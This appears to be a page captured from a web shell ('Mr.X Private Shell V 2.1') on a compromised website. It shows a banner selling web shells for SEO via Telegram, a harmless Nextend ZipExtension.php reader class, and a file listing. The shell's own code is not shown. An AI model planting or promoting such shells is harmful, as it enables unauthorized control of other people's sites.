__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Misc\Zip\Reader;
use Nextend\Framework\Misc\Zip\ReaderInterface;
use ZipArchive;
class ZipExtension implements ReaderInterface {
public function read($path) {
$zip = new ZipArchive();
if (!$zip->open($path)) {
return array();
}
$data = array();
for ($i = 0; $i < $zip->numFiles; $i++) {
$stat = $zip->statIndex($i);
$this->recursiveRead($data, explode('/', $stat['name']), $zip->getFromIndex($i));
}
$zip->close();
return $data;
}
private function recursiveRead(&$data, $parts, $content) {
if (count($parts) == 1) {
$data[$parts[0]] = $content;
} else {
if (!isset($data[$parts[0]])) {
$data[$parts[0]] = array();
}
$this->recursiveRead($data[array_shift($parts)], $parts, $content);
}
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Custom.php | File | 5.56 KB | 0664 |
|
| ZipExtension.php | File | 941 B | 0664 |
|